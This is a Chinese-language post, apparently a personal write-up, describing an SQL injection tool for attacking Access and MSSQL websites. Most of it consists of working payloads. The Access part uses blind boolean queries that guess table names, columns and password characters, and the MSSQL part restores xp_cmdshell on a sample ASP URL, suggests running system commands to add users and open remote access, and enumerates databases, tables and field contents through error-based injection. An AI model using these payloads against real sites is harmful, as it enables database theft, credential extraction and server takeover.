Access数据库
这个数据库提供的功能太少,我知道的方法只有猜测,因此就是按猜的思想来实现了,首先猜测表,使用的语句
url and exists(select * from user) 这条猜测是否存在user表 当然有自己的待猜库 返回的页面正常就说明猜对了,有此表
猜到表之后猜字段 使用语句 (假设已猜到 user表)
url and (select count(待猜字段名) from user)>=0
接着猜字段长度
url and (select top 1 len(username) from user)=?
猜字段的每一位
and (select top 1 asc(mid(password,n,1)) from user)=? (猜字段第n位的ASCII码是否是?)
依次可以得到所有位
但是到目前为止 我的程序只能得到一条记录,当猜测下条记录时因为使用了top 1因此无法猜到,想到使用条件语句 not in () 过滤掉已猜到的记录,但是由于不知道各个字段的类型还是很麻烦,不知道这个问题怎么解决。同时还有一个中文怎么猜的问题还没有解决。
MSSQL数据库有很多可以利用的内置方法功能很强大,(对于网站危害也大),但是利用工作来做去很麻烦,不好实现,所以主要实现了几个简单的。直接贴代码注释了不写了 太累了
一、判断xp_cmdshell是否可执行 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell') 正常则可以
恢复xp_cmdshell扩展存储的命令:http://www.test.com/news/show1.asp?NewsId=125272;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--
通过xp_cmdshell执行cmd命令(创建用户,提升用户权限 开telnet 开3389等等功能)
还可以判断其他存储过程
二、获得所有数据库 and db_name()>0 获得当前数据库 and db_name(n)>0 获得第n个数据库
获得当前数据库下的所有表名and (select top 1 name from (Select top [1] id,name from sysobjects where xtype=char(85)) T order by id desc)>1
获得某个数据表下的所有字段 and (select top 1 col_name(object_id('NB_IP'),2) from sysobjects)>1
获得字段的内容 and (select top 1 Addname from CP_Content where Addname not in ('wlb','zgfxwlb') )>1